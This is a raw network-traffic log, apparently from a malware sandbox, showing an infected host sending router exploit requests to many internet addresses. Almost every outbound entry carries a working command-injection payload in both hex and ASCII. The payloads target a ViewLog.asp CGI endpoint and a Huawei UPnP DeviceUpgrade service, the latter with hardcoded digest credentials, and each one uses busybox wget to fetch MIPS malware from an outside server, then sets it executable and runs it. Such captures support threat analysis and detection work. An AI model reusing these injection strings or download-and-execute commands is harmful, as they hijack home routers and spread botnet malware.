Nov 23, 2023 05:17:11.025839090 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.271929979 CET	1229	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1012 Date: Thu, 23 Nov 2023 04:17:11 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 32 39 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 32 39 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/6.0.29 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource (/cgi-bin/ViewLog.asp) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.29</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	56082	94.122.126.197	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:11.037055969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	41522	94.120.6.23	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:11.040703058 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	58628	41.239.73.173	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:13.236870050 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:13.495445967 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	55114	94.130.152.35	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.504374981 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:15.590354919 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:15.785005093 CET	412	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 Nov 2023 04:17:15 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://192.168.0.14:8080/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	41740	62.29.85.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.529405117 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	43354	94.17.160.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.542429924 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	58922	62.29.81.105	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.562998056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	40090	31.136.123.118	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.942118883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:15.526355982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:16.678325891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:19.142323017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:23.750307083 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:32.970282078 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.654252052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	45616	95.214.147.189	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.943279982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	49814	62.56.134.167	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:14.989761114 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
